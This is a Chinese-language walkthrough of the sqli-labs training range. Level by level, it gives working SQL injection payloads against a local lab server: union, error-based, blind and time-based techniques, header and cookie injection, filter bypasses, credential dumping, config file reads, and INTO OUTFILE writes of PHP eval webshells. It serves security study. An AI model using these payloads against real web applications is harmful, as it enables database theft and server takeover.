sqli-labs靶場(chǎng)分析
1、level1
單引號(hào)測(cè)試報(bào)錯(cuò),為單引號(hào)閉合,且顯示1多了個(gè)單引號(hào)故而為字符型注入。且未對(duì)用戶輸入進(jìn)行任何過(guò)濾。
且SQL語(yǔ)句錯(cuò)誤會(huì)輸出,可以使用報(bào)錯(cuò)注入
order by判斷表列數(shù)
uoion 聯(lián)合查詢,因?yàn)榫W(wǎng)頁(yè)只顯示第一張表的數(shù)據(jù),因此需要union前的語(yǔ)句為假,查出數(shù)據(jù)為空,把位置讓給第二張表顯示
判斷顯示位置
靶union select 1,2,3 中的2和3替換為SQL語(yǔ)句即可查詢到任意內(nèi)容,示例查詢庫(kù)名和用戶名
查詢數(shù)據(jù)庫(kù)中的表,下面查詢的是當(dāng)前數(shù)據(jù)庫(kù)
http://192.168.110.129/sqli-labs/Less-1/?id=-1%27union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()--+
如果要查詢其他數(shù)據(jù)庫(kù)把上面最后的database()換成相應(yīng)的庫(kù)名即可,示例:····table_schema=information_schema
查詢表中字段
http://192.168.110.129/sqli-labs/Less-1/?id=-1%27union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27--+
查字段內(nèi)容
http://192.168.110.129/sqli-labs/Less-1/?id=-1%27union%20select%201,2,group_concat(username)%20from%20users--+
http://192.168.110.129/sqli-labs/Less-1/?id=-1%27union%20select%201,2,concat(username,%27:%27,password)%20from%20users--+
SQL注入寫(xiě)入webshell,getshell
http://192.168.110.129/sqli-labs/Less-1/?id=-1%27%20union%20select%201,2,%27%3C?php%20@eval($_REQUEST[777]);?%3E%27%20into%20outfile%20%27C:\\phpstudy\\PHPTutorial\\www\\webshell.php%27%20--+
寫(xiě)文件前需要判斷是否有寫(xiě)權(quán)限以及絕對(duì)路徑
and (select count(*) from mysql.user)>0 /如果結(jié)果返回正常,說(shuō)明具有讀寫(xiě)權(quán)限./
and (select count() from mysql.user)>0 / 返回錯(cuò)誤,應(yīng)該是管理員給數(shù)據(jù)庫(kù)賬戶降權(quán)了*/
@@datadir 讀取數(shù)據(jù)庫(kù)路徑
@@basedir MYSQL 獲取安裝路徑
SQL讀文件,示例讀mysql配置文件
http://192.168.110.129/sqli-labs/Less-1/?id=-1%27%20union%20select%201,2,load_file(%22C:\\phpStudy\\PHPTutorial\\MySQL\\my.ini%22)%20--+
也可以使用報(bào)錯(cuò)注入、布爾盲注、延時(shí)注入
Payload: id=1' AND 6510=6510 AND 'svdH'='svdH
Payload: id=1' AND (SELECT 6607 FROM (SELECT(SLEEP(5)))MIbw) AND 'DBGj'='DBGj
2、level 2
報(bào)錯(cuò)顯示語(yǔ)句中多了個(gè)單引號(hào),1沒(méi)有當(dāng)作錯(cuò)誤爆出。故而是數(shù)字型(整數(shù)型)注入。
未對(duì)輸入的id值進(jìn)行任何過(guò)濾
注入手法以level基本一樣,只是id值1不用引號(hào)閉合
示例:
http://192.168.110.129/sqli-labs/Less-2/?id=-1%20union%20select%201,2,3%20--+
3、level 3
根據(jù)單引號(hào)測(cè)試報(bào)錯(cuò)顯示應(yīng)該為單引號(hào)和括號(hào)組合的閉合方式,且為字符型
依舊沒(méi)對(duì)輸入的id值做任何過(guò)濾
注入手法與level 1類似,不過(guò)要加上括號(hào)閉合
http://192.168.110.129/sqli-labs/Less-3/?id=-1%27)%20union%20select%201,2,database()%20--+
閉合后SQL語(yǔ)句如下:
$sql="SELECT * FROM users WHERE id=('-1') union select 1,2,3 --+') LIMIT 0,1";
4、level 4
單引號(hào)測(cè)試無(wú)反應(yīng),雙引號(hào)測(cè)試報(bào)錯(cuò)如下。
由報(bào)錯(cuò)內(nèi)容可知為字符型注入,閉合方式為雙引號(hào)加括號(hào)
依舊未對(duì)輸入id值過(guò)濾,僅是加上雙引號(hào)后再拼接到SQL語(yǔ)句
注入手法與level 1類似,僅閉合方式不一樣
http://192.168.110.129/sqli-labs/Less-4/?id=-1%22)%20union%20select%201,2,database()%20--+
5、level 5
由單引號(hào)測(cè)試結(jié)果可知為字符型注入,單引號(hào)閉合
依舊沒(méi)有對(duì)輸入過(guò)濾,但沒(méi)有對(duì)查詢結(jié)果輸出。因此不能使用聯(lián)合查詢。但可是使用報(bào)錯(cuò)注入、布爾盲注、延時(shí)注入
注入手法與level 1類似,但不能使用聯(lián)合查詢
XPATH報(bào)錯(cuò)(5.0版本以下不支持)
使用extractvalue(),中間的select database() 可以換成任意語(yǔ)句
http://192.168.110.129/sqli-labs/Less-5/?id=-1%27and%20extractvalue(1,concat(%27^%27,(select%20database()),%27^%27))%20--+
示例:顯示所有表名
http://192.168.110.129/sqli-labs/Less-5/?id=-1%27and%20extractvalue(1,concat(%27^%27,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),%27^%27))%20--+
使用updatexml(),中間的語(yǔ)句也可以任意
http://192.168.110.129/sqli-labs/Less-5/?id=-1%27%20and%20updatexml(1,concat(%27^%27,(select%20version()),%27^%27),1)%20--+
group by重復(fù)鍵沖突(或者floor()報(bào)錯(cuò))
concat中第一個(gè)參數(shù)可以是任意SQL語(yǔ)句,如下是查數(shù)據(jù)庫(kù)名
http://192.168.110.129/sqli-labs/Less-5/?id=-1%27%20and%20(select%201%20from%20(select%20count(*),concat((select%20database()),floor(rand()*2))%20x%20from%20information_schema.tables%20group%20by%20x)a)%20--+
此處可以使用union寫(xiě)webshell只不過(guò)沒(méi)有回顯罷了,以下展示非union 寫(xiě)webshell的方法 。payload如下:
http://192.168.110.129/sqli-labs/Less-5/?id=1%27%20into%20outfile%20%27C:\\phpstudy\\PHPTutorial\\www\\webshell.php%27%20lines%20terminated%20by%200x3c3f70687020406576616c28245f4745545b27636d64275d293b3f3e --+
將要寫(xiě)入的一句話轉(zhuǎn)換成16進(jìn)制
拼接后SQL語(yǔ)句如下:
SELECT * FROM users WHERE id='$id' into outfile 'C:\\phpstudy\\PHPTutorial\\www\\webshell.php' lines terminated by 0x3c3f70687020406576616c28245f4745545b27636d64275d293b3f3e --+' LIMIT 0,1
成功寫(xiě)入
6、level 6
單引號(hào)測(cè)試無(wú)果,雙引號(hào)測(cè)試報(bào)錯(cuò)。由報(bào)錯(cuò)可知為字符型注入,且為雙引號(hào)閉合
依舊未對(duì)輸入進(jìn)行過(guò)濾,僅對(duì)輸入的id加上了雙引號(hào)再拼接到SQL語(yǔ)句中。且查詢結(jié)果不顯示
注入方法與level 5一致,不過(guò)單引號(hào)閉合換成雙引號(hào)閉合??梢允褂脠?bào)錯(cuò)注入、延時(shí)注入和布爾盲注。
報(bào)錯(cuò)注入獲得表名
http://192.168.110.129/sqli-labs/Less-6/?id=1%22%20and%20extractvalue(1,concat(%27^%27,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),%27^%27))%20--+
7、level 7
單引號(hào)測(cè)試顯示語(yǔ)句有錯(cuò)但不顯示具體,雙引號(hào)測(cè)試不顯示語(yǔ)句有錯(cuò)。,單雙引號(hào)配合使用也顯示語(yǔ)句有錯(cuò)。推測(cè)程序是自定義了各種錯(cuò)誤,規(guī)避了報(bào)錯(cuò)注入。
當(dāng)用1‘))閉合時(shí)才正常顯示。
分析源代碼發(fā)現(xiàn)確實(shí)如此
只能使用延時(shí)注入和布爾盲注。以下演示布爾盲注,延時(shí)注入與布爾盲注類似,延時(shí)注入要加if判斷而已。
獲取數(shù)據(jù)庫(kù)長(zhǎng)度
依次獲取數(shù)據(jù)庫(kù)名中單個(gè)字符,一般轉(zhuǎn)化為ascll碼
http://192.168.110.129/sqli-labs/Less-7/?id=1%27))%20and%20ascii(substr(database(),1,1))=1%20--+
參數(shù)說(shuō)明:
Length()函數(shù) 返回字符串的長(zhǎng)度
Substr()截取字符串,三個(gè)參數(shù)依次為要截取的字符串、截取位置(第幾個(gè))、要截取個(gè)數(shù)
Ascii()返回字符的ascii碼
sleep(n):將程序掛起一段時(shí)間 n為n秒
if(expr1,expr2,expr3):判斷語(yǔ)句 如果第一個(gè)語(yǔ)句正確就執(zhí)行第二個(gè)語(yǔ)句如果錯(cuò)誤執(zhí)行第三個(gè)語(yǔ)句
也可以不轉(zhuǎn)換為ascll碼
and mid(database(),1,1)=‘d’ # 判斷單個(gè)字符
and substr(database(),1,1)=‘d’ # 判斷單個(gè)字符
and ord(substr((select database()),1,1))=98 # 使用ascii碼判斷單個(gè)字符
and ascii(substr((select database()),1,1))=98 # 使用ascii判斷單個(gè)字符
and left(database(),4)=‘dvwa’ # 判斷一個(gè)字符串,即多個(gè)字符
這類注入一般都使用工具使用sqlmap或者是Burp。也可以自己寫(xiě)腳本。
使用burp得到數(shù)據(jù)庫(kù)名的ascii碼值,對(duì)照ascii表得到數(shù)據(jù)庫(kù)名:security
由于windows系統(tǒng)對(duì)大小寫(xiě)不敏感,所以不轉(zhuǎn)ascii碼無(wú)法正確判斷數(shù)據(jù)庫(kù)名的大小寫(xiě)問(wèn)題
獲得數(shù)據(jù)庫(kù)第一個(gè)表的長(zhǎng)度,得到長(zhǎng)度等于6
and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0
參數(shù)說(shuō)明:limit后面的0表順序第1位,1表個(gè)數(shù),1個(gè)結(jié)果
依次獲得表名,,也可以轉(zhuǎn)換為ascii碼
and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a'
第一個(gè):emails
第四個(gè)(修改limit 3,1):表長(zhǎng)5,表名:users
獲得字段名
and ascii(substr((select column_name from information_schema.columns where table_name=0x656d61696c73 limit 0,1),1,1))=60
寫(xiě)文件方法就任意了
提示有錯(cuò)但webshell已經(jīng)寫(xiě)進(jìn)去了
http://192.168.110.129/sqli-labs/Less-7/?id=1%27))%20into%20outfile%20%27C:\\phpstudy\\PHPTutorial\\www\\webshell.php%27%20lines%20terminated%20by%200x3c3f70687020406576616c28245f4745545b27636d64275d293b3f3e%20--+
拼接后SQL注入語(yǔ)句如下:
SELECT * FROM users WHERE id=(('$id')) into outfile 'C:\\phpstudy\\PHPTutorial\\www\\webshell.php' lines terminated by 0x3c3f70687020406576616c28245f4745545b27636d64275d293b3f3e --+')) LIMIT 0,1
8、level 8
單引號(hào)測(cè)試,頁(yè)面不正常無(wú)輸出。輸入雙引號(hào)頁(yè)面正常與輸入id值1頁(yè)面一致。推測(cè)為單引號(hào)閉合方式。
依舊沒(méi)有對(duì)輸入進(jìn)行任何過(guò)濾且查詢結(jié)果和sql錯(cuò)誤都不顯示。
注入手法可以使用布爾盲注和延時(shí)注入,與level 7類似。不過(guò)這里正確是頁(yè)面顯示You are in… ,錯(cuò)誤則頁(yè)面不顯示
http://192.168.110.129/sqli-labs/Less-8/?id=1%27%20and%20if((length(database())=8),sleep(5),1)--+
參數(shù)說(shuō)明:
if(expr1,expr2,expr3):判斷語(yǔ)句 如果第一個(gè)語(yǔ)句正確就執(zhí)行第二個(gè)語(yǔ)句如果錯(cuò)誤執(zhí)行第三個(gè)語(yǔ)句
對(duì)比布爾盲注,延時(shí)注入的判別標(biāo)準(zhǔn)是觀察響應(yīng)是否延時(shí)。注入方法與布爾盲注非常相似。
獲取第一個(gè)表名:emails
http://192.168.110.129/sqli-labs/Less-8/?id=1%27%20and%20if((substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),1,1)=%27e%27),sleep(5),1)%20--+
9、level 9
直接使用單雙引號(hào)括號(hào)等測(cè)試,頁(yè)面無(wú)變化。在測(cè)試符號(hào)后面添加and sleep(5) --+,如果成功閉合前面的語(yǔ)句,則會(huì)執(zhí)行sleep(5),利用延時(shí)注入的原理判斷閉合方式。
可以看出單引號(hào)成功閉合
查看源代碼發(fā)現(xiàn)對(duì)于輸入的id值沒(méi)有任何過(guò)濾,閉合方式為單引號(hào),查詢結(jié)果不顯示,SQL語(yǔ)句錯(cuò)誤與否頁(yè)面顯示內(nèi)容不變
因?yàn)轫?yè)面顯示無(wú)差異,且查詢結(jié)果和報(bào)錯(cuò)不顯示在頁(yè)面,因此只能使用延時(shí)注入。注入方法與level 8 延時(shí)注入一致
判斷字符串長(zhǎng)度
http://192.168.110.129/sqli-labs/Less-9/?id=1%27%20and%20if(length(database())=8,sleep(5),1)%20--+
10、level 10
測(cè)試情況與level 9類似,測(cè)得閉合方式為雙引號(hào)
源代碼與level 9差不多,就單單閉合方式不一樣。
查詢結(jié)果和報(bào)錯(cuò)都顯示,頁(yè)面無(wú)差異化。只能使用延時(shí)注入
查詢數(shù)據(jù)庫(kù)長(zhǎng)度
注入過(guò)程參照l(shuí)evel 7 和level 8
11、level 11
頁(yè)面是一個(gè)登錄框,對(duì)uname和passwd參數(shù)進(jìn)行單引號(hào)測(cè)試引起報(bào)錯(cuò)。由報(bào)錯(cuò)內(nèi)容可知為單引號(hào)閉合
查看源代碼,發(fā)現(xiàn)未對(duì)輸入的umane和passwd參數(shù)進(jìn)行過(guò)濾,且如果輸入正確(登陸成功)會(huì)將查詢結(jié)果輸出到頁(yè)面,兩個(gè)參數(shù)都可以注入。
可以使用聯(lián)合查詢、延時(shí)注入、布爾盲注和延時(shí)注入。聯(lián)合查詢注入過(guò)程可以參照l(shuí)evel 1
order by查詢表列數(shù)
Dumb ' order by 2 #
Dumb
得到列為2
判斷顯示位置
' union select 1,2 #
Dumb
查詢數(shù)據(jù)庫(kù)名
' union select 1,database() #
Dumb
查數(shù)據(jù)庫(kù)表名
' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
Dumb
寫(xiě)webshell
' union select 1, '<?php%20@eval($_REQUEST[777]);?>' into outfile 'C:\\phpstudy\\PHPTutorial\\www\\webshell.php' #
Dumb
成功寫(xiě)入
讀文件:讀取mysql配置文件
' union select 1,load_file('C:\\phpStudy\\PHPTutorial\\MySQL\\my.ini') #
Dumb
其他注入手法
報(bào)錯(cuò)注入payload
Dumb ' and extractvalue(1,concat('^',(select database()),'^')) #
Dumb
延時(shí)注入payload
Dumb ' and if((length(database())=8),sleep(5),1) #
Dumb
布爾盲注payload
Dumb ' and length(database())=8 #
Dumb
**注意:**布爾盲注如果and后面語(yǔ)句成立的話會(huì)直接登錄。這就是萬(wàn)能密碼的原理
12、level 12
雙引號(hào)括號(hào)測(cè)試報(bào)錯(cuò),由報(bào)錯(cuò)可知為雙引號(hào)括號(hào)閉合
源代碼與level 11類似,除了閉合方式不一樣
注入手法也與level 11,差不多聯(lián)合查詢、報(bào)錯(cuò)注入、延時(shí)注入和布爾盲注都可,但要注意閉合方式
查詢數(shù)據(jù)庫(kù)名
") union select 1,database() #
Dumb
13、level 13
單引號(hào)測(cè)試報(bào)錯(cuò),由報(bào)錯(cuò)結(jié)果可知為單引號(hào)加括號(hào)的閉合方式
源代碼與level 11 類似,除了閉合方式不一樣外,用戶名和密碼正確登錄后不會(huì)顯示查詢結(jié)果。所以這里不能使用聯(lián)合查詢的方式注入??梢允褂脠?bào)錯(cuò)注入、延時(shí)注入和布爾盲注
使用報(bào)錯(cuò)注入獲取所有表名
Dumb ') and extractvalue(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'^')) #
Dumb
報(bào)錯(cuò)注入具體過(guò)程可以參照l(shuí)evel 5
14、level 14
雙引號(hào)測(cè)試報(bào)錯(cuò),由報(bào)錯(cuò)提示可知為雙引號(hào)閉合方式
源代與level 13差不多,除了閉合方式外。成功登錄后不顯示查詢結(jié)果因此也不能使用聯(lián)合查詢。
可以使用報(bào)錯(cuò)注入、延時(shí)注入和布爾盲注??梢詤⒄誰(shuí)evel 11
報(bào)錯(cuò)注入獲取所有表名
Dumb " and extractvalue(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'^')) #
Dumb
15、level 15
測(cè)試情況與level 9類似,同樣不輸出報(bào)錯(cuò)。在測(cè)試符號(hào)后面加上and sleep(5) #。測(cè)得閉合方式為單引號(hào)
Dumb ' and sleep(5) #
Dumb
源代碼注釋掉了打印sql錯(cuò)誤的語(yǔ)句,且登錄后也不顯示查詢結(jié)果。所以只能使用延時(shí)注入和布爾盲注,具體參照l(shuí)evel 7和level 9
延時(shí)注入判斷數(shù)據(jù)庫(kù)名長(zhǎng)度為8
Dumb ' and if((length(database())=8),sleep(5),1) #
Dumb
布爾盲注判斷數(shù)據(jù)庫(kù)名長(zhǎng)度,成功登錄,長(zhǎng)度為8
Dumb ' and length(database())=8 #
Dumb
16、level 16
測(cè)試同樣不顯示報(bào)錯(cuò),可以像level 15一樣使用sleep。其實(shí)還可以使用加上and 1=1 # ,如果猜對(duì)了閉合方式就可以登錄,level 15也是。
測(cè)試得到閉合方式為雙引號(hào)括號(hào)
Dumb ") and 1=1 #
Dumb
源代碼除了采用雙引號(hào)括號(hào)的閉合方式外,與level 15一致。只能使用布爾盲注和延時(shí)注入獲得數(shù)據(jù)。
具體注入?yún)⒄誰(shuí)evel 15
17、level 17
單引號(hào)測(cè)試發(fā)現(xiàn),uname參數(shù)好像無(wú)法注入,一旦加上測(cè)試語(yǔ)句會(huì)返回一條嘲諷的的話“bug of you silly dumb hacker”即“你這個(gè)愚蠢愚蠢的黑客”。但passwd可以,單引號(hào)測(cè)試報(bào)錯(cuò)。由報(bào)錯(cuò)結(jié)果可知為單引號(hào)閉合。
查看源碼發(fā)現(xiàn),對(duì)輸入的uname參數(shù)值傳入了check_input 函數(shù)
這個(gè)函數(shù)截取輸入值的前15位,并轉(zhuǎn)義特殊符號(hào)或強(qiáng)制轉(zhuǎn)化為整數(shù)類型。
passwd參數(shù)沒(méi)有傳入檢查函數(shù),程序會(huì)將sql錯(cuò)誤輸出到頁(yè)面,可以使用報(bào)錯(cuò)注入
爆錯(cuò)注入獲取表名
Dumb
Dumb ' and extractvalue(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'^')) #
18、level 18
對(duì)用戶名和密碼測(cè)試后沒(méi)有什么發(fā)現(xiàn),看到頁(yè)面顯示you ip address is:192.168.110.1 。猜測(cè)注入點(diǎn)可能在http請(qǐng)求頭那個(gè)位置。
當(dāng)用戶名和密碼輸入正確后,頁(yè)面會(huì)顯示UA信息
大概率注入點(diǎn)就在UA處了,在User-Agent參數(shù)處測(cè)得存在注入,閉合方式為單引號(hào)。
查看源碼,uname和passwd都傳入了檢查函數(shù)。
ua和ip的值是直接獲取
而且需要用戶名和密碼正確才會(huì)進(jìn)入到UA參數(shù)所在的SQL語(yǔ)句中。
這里可以使用報(bào)錯(cuò)注入
1',1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)))#
19、level 19
與level 18類似,登錄后頁(yè)面多顯示了Referer信息,注入點(diǎn)應(yīng)該是它了
測(cè)得閉合方式為單引號(hào)
對(duì)于Referer依舊未做任何過(guò)濾
可以使用報(bào)錯(cuò)注入
1',extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)))#
20、level 20
登錄后可以看出,這里的注入應(yīng)該與cookie有關(guān)
抓包測(cè)試,測(cè)得為單引號(hào)閉合方式
對(duì)于uname和paswd參數(shù)依舊是傳入檢查函數(shù),除cookie外在無(wú)任何參數(shù)插入到了SQL語(yǔ)句中去。
對(duì)于cookie程序沒(méi)有做任何過(guò)濾
可以使用報(bào)錯(cuò)注入
'and updatexml (1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1)#
此外利用cookie查詢到的結(jié)果,會(huì)顯示在頁(yè)面上。用戶名密碼等
從源碼中可看出,如果通過(guò)cookie查到了該用戶的信息。會(huì)顯示name、passwd、id三個(gè)結(jié)果。這里可以猜測(cè)查詢結(jié)果的表有三列,因?yàn)椴樵兘Y(jié)果會(huì)顯示所以可以使用聯(lián)合查詢
測(cè)試一下有幾列:-Dumb ’ order by 4 --+
4時(shí)報(bào)錯(cuò),改為3就不報(bào)錯(cuò)了。確實(shí)是三列。那剛好三個(gè)位置都會(huì)顯示,所以就不用測(cè)顯示位置了:-Dumb ’ union select 1,database(),@@datadir --+
除了報(bào)錯(cuò)注入和聯(lián)合查詢外,還可以使用布爾盲注和延時(shí)注入
Dumb ' and length(database())=8 --+
Dumb ' and if(length(database())=8,sleep(5),1) --+
21、level 21
這里與level 20 一樣都是cookie的位置存在SQL注入,但這里的cookie值是經(jīng)過(guò)base64加密的。因此測(cè)試時(shí)要將payload編碼處理。
考慮到兼容性的問(wèn)題php程序?qū)y(cè)試語(yǔ)句編碼。這里單引號(hào)測(cè)試為單引號(hào)加括號(hào)的閉合方式。
源程序?qū)ookie為做過(guò)濾,但先base64解碼后再拼接到SQL語(yǔ)句中。語(yǔ)句報(bào)錯(cuò)會(huì)輸出到頁(yè)面,可以使用報(bào)錯(cuò)注入。
語(yǔ)句報(bào)錯(cuò)會(huì)輸出到頁(yè)面,可以使用報(bào)錯(cuò)注入。
查詢用戶表中的用戶,顯示不全。payload需base64編碼
admin') and updatexml (1,concat(0x5c,(select group_concat(username) from users),0x5c),1) --+
與level 20一樣聯(lián)合查詢、布爾盲注和延時(shí)注入也是可以的,注意要把payload編碼。
22、level 22
與level 1一樣注入點(diǎn)在cookie位置上,且使用了base64編碼。測(cè)得為雙引號(hào)閉合方式
與leve1 21相比僅閉合方式不一樣,源代碼其他地方都差不多。
可以使用報(bào)錯(cuò)注入、聯(lián)合查詢、布爾盲注和延時(shí)注入。注意需要對(duì)payload進(jìn)行編碼。
聯(lián)合查詢注入得到用戶名
1 " union select 1,(select group_concat(username) from users),group_concat(password) from users --+
23、level 23
使用單引號(hào)測(cè)試,頁(yè)面報(bào)錯(cuò)。由報(bào)錯(cuò)可以看出確實(shí)是單引號(hào)閉合。
嘗試使用 --、#注釋掉插入sql語(yǔ)句后面的語(yǔ)句,發(fā)現(xiàn)不起作用。應(yīng)該是程序過(guò)濾了注釋符。使用and ‘1’='1 代替注釋符,閉合掉后面的語(yǔ)句。
查看源代碼發(fā)現(xiàn),除了過(guò)濾了id值的’–‘、’#'。代碼與level 1一樣。所以二者的注入手法也一致,唯一不同的是不能用注釋符注釋掉后面的語(yǔ)句。
注入我們可以使用聯(lián)合查詢、報(bào)錯(cuò)注入、布爾盲注和延時(shí)注入。
注意:這里用不了order by。只能select 一個(gè)個(gè)試。4不行,3剛好可以:union select 1,2,3 and ‘1’='1
這里的3,2,1只有2是可以顯示在頁(yè)面上的。下面的1表示后面等式是否成立。
報(bào)錯(cuò)注入,可以使用兩個(gè)and
http://192.168.110.129/sqli-labs/Less-23/?id=3%27%20and%20extractvalue(1,concat(%27^%27,(select%20@@datadir),%27^%27))%20and%20%271%27=%271
24、level 24
一個(gè)登錄頁(yè)面,一個(gè)新用戶注冊(cè)頁(yè)面,猜測(cè)應(yīng)該是二次注入。引號(hào)測(cè)試。首先嘗試注冊(cè)admin ’ 用戶,登錄后修改密碼,發(fā)現(xiàn)無(wú)法修改(不跳轉(zhuǎn)到修改成功頁(yè)面,一直卡著)。再注冊(cè)admin ‘’ ,登錄后成功修改密碼。猜測(cè)為單引號(hào)閉合方式的用戶名二次注入。
注冊(cè)一個(gè)admin ’ # 的用戶,的登錄后修改密碼。修改為111
嘗試登錄admin,使用密碼 111
成功登錄。
查看源碼,發(fā)現(xiàn)登錄頁(yè)面和注冊(cè)頁(yè)面都對(duì)賬號(hào)和密碼進(jìn)行了轉(zhuǎn)義。
mysql_real_escape_string函數(shù)
注冊(cè)頁(yè)面:
登錄頁(yè)面:
修改密碼頁(yè)面是直接獲取到當(dāng)前用戶名未做任何過(guò)濾直接插如到SQL語(yǔ)句中
被污染的數(shù)據(jù)admin ’ # 從數(shù)據(jù)庫(kù)中取出后直接傳入sql語(yǔ)句中,導(dǎo)致where 后面password條件語(yǔ)句被注釋掉。使得修改了admin用戶的密碼。
25、level 25
單引號(hào)測(cè)試,頁(yè)面報(bào)錯(cuò),有錯(cuò)誤提示可知為單引號(hào)閉合。
根據(jù)頁(yè)面提示以及測(cè)試發(fā)現(xiàn)這里過(guò)濾了 and 和 or
嘗試雙寫(xiě)看能不能繞過(guò) :oorr、anandd、aandnd、oorrder by
聯(lián)合查詢戶名和數(shù)據(jù)庫(kù)絕對(duì)路徑。其他注入手法也可以,但要注意雙寫(xiě)關(guān)鍵字
?id=-1%27%20union%20select%201,(select%20group_concat(username)%20from%20users),@@datadir%20--+
源碼將關(guān)鍵字 and 和 or 置換為空,也就是過(guò)濾掉了
可以看到將id值傳入了blacklist 函數(shù),preg_replace 將or和and置換為空。
**注意:**關(guān)鍵字被過(guò)濾除了雙寫(xiě)還可以使用符號(hào)例如:||和&&代表and和or。還可以大小寫(xiě)混寫(xiě),示例:AnD、UNion
26、level 25a
單雙引號(hào)測(cè)試報(bào)錯(cuò),但不顯示錯(cuò)誤位置,不太好判斷。有經(jīng)驗(yàn)的可能能猜到是數(shù)字型注入
和level 25差不多,但這里的id值是數(shù)字型的,不需要單引號(hào)包裹。注入的時(shí)候得注意
依舊是過(guò)濾了and和or關(guān)鍵字,所以得雙寫(xiě)繞過(guò)。注入?yún)⒖糽evel 25
27、level 26
測(cè)試結(jié)果為單引號(hào)閉合
測(cè)試發(fā)現(xiàn)過(guò)濾了關(guān)鍵字and、or和注釋符–、# 以及空格
查看源碼發(fā)現(xiàn)還過(guò)濾了一些其他符號(hào),其中\(zhòng)s表示任何空白字符(比如換行符、制表符等等)
and和or 可以雙寫(xiě)繞過(guò)也可以使用&&和||替換,注釋符可以使用:and ‘1’='1 代替。常見(jiàn)的替代空格的字符有:/**/ () + ` \t
繞過(guò)方法如下:
-
編碼繞過(guò):
- %09 TAB鍵(空格)
- %0A 新建一行(空格)
- %0C 新的一頁(yè)
- %0D return即回車(chē)功能 (php-5.2.17,5.3.29成功)
- %0B TAB鍵(垂直)
- %A0 空格 (php-5.2.17成功)
注意:編碼繞過(guò)空格過(guò)濾得看具體環(huán)境
-
括號(hào)繞過(guò):用()繞過(guò),意思就是不使用任何空格
示例:報(bào)錯(cuò)注入
使用括號(hào)代替空格,邏輯符號(hào)代替and關(guān)鍵字:
id=1'&&extractvalue(null,concat(0x7e,(select(group_concat(username,'~',password))from(security.users)),0x7e))||'1
邏輯符號(hào)需要url編碼
id=1%27%26%26extractvalue(null,concat(0x7e,(select(group_concat(username,%27~%27,password))from(security.users)),0x7e))%7c%7c%271
單引號(hào)閉合達(dá)到注釋效果
id=1%27anandd(extractvalue(null,concat(0x7e,(select(group_concat(username,%27~%27,passwoorrd))from(security.users)),0x7e)))anandd%271%27=%271
分號(hào)配合%00達(dá)到注釋效果:
布爾和延時(shí):
?id=1%27anandd(1=1);%00
28、level 26a
利用;%00當(dāng)作注釋符,發(fā)現(xiàn)單引號(hào)測(cè)試報(bào)錯(cuò),雙引號(hào)測(cè)試和單引號(hào)括號(hào)測(cè)試都不報(bào)錯(cuò)。不是很好判斷
查看源代碼發(fā)現(xiàn)為單引號(hào)加括號(hào)的閉合方式,頁(yè)面不顯示報(bào)錯(cuò)不能用報(bào)錯(cuò)注入
和level 26一樣過(guò)濾了and、or、注釋和空格。
示例布爾盲注(延時(shí)注入和這差不多)
id=1%27)anandd(length(database())=8);%00
29、level 27
單引號(hào)測(cè)試,頁(yè)面報(bào)錯(cuò)。由報(bào)錯(cuò)提示可知為單引號(hào)閉合方式
測(cè)試發(fā)現(xiàn)過(guò)濾了union、select關(guān)鍵字,過(guò)濾了注釋和空格。
這里可以采用雙寫(xiě)或者大小寫(xiě)混寫(xiě)關(guān)鍵字繞過(guò)。聯(lián)合查詢、報(bào)錯(cuò)注入、布爾盲注、延時(shí)注入都可以。這里還可以使用%0a代替空格
聯(lián)合查詢:
id=222%27%0aUNion%0aSElecT%0a1,database(),user();%00
報(bào)錯(cuò)注入:
id=2%27and(extractvalue(null,concat(0x7e,(sEleCT(group_concat(username,%27~%27,password))from(security.users)),0x7e)));%00
布爾或延時(shí):
id=1'%0aand%0a1=1%0aand'1'='1
注意:對(duì)了這里除%0a可以當(dāng)空格外,其他url編碼應(yīng)該也是可以的。測(cè)試%0A可以當(dāng)括號(hào)
30、level 27a
單引號(hào)測(cè)試不報(bào)錯(cuò),雙引號(hào)測(cè)試報(bào)錯(cuò)。應(yīng)該是雙引號(hào)閉合。
過(guò)濾情況與level 27一致
注入情況和level 27差不多,不過(guò)這里是雙引號(hào)閉合,而且報(bào)錯(cuò)注入不能用了,這里不輸出報(bào)錯(cuò)信息。
示例:聯(lián)合查詢數(shù)據(jù)并寫(xiě)webshell
id=222"%0aununionion%0aSelEcT%0a@@datadir,user(),0x3c3f706870206576616c28245f4745545b27636d64275d293b203f3e%0ainto%0aoutfile%0a%27C:\\phpstudy\\PHPTutorial\\www\\webshell.php%27%0a;%00
頁(yè)面雖然報(bào)錯(cuò),但文件還是寫(xiě)進(jìn)去了。連帶查詢結(jié)果也寫(xiě)進(jìn)去了
一個(gè)忠告:寫(xiě)文件時(shí)文件內(nèi)容轉(zhuǎn)換為16進(jìn)制能夠避免很多麻煩
示例:聯(lián)合查詢讀文件
id=222"%0aununionion%0aSelEcT%0a1,2,load_file("C:\\phpStudy\\PHPTutorial\\MySQL\\my.ini");%00
31、level 28
與level 27和27a差不多,不過(guò)這里是單引號(hào)括號(hào)閉合方式,不是很好判斷。
報(bào)錯(cuò)注入用不了,代碼注釋了錯(cuò)誤輸出。而且要注意,這里過(guò)濾的是:union select組合,實(shí)測(cè)直接大寫(xiě)小混寫(xiě)不行。所以這里要雙寫(xiě)這個(gè)組合:
示例:unionunion%0aselect%0aselect
id=222%27)%0aunionunion%0aselect%0aselect%0a1,database(),3;%00
其他注入可以參照27和27a,類似
32、level 28a
閉合方式不太好判斷,測(cè)試情況和level 28一樣。那應(yīng)該是單引號(hào)括號(hào)閉合。
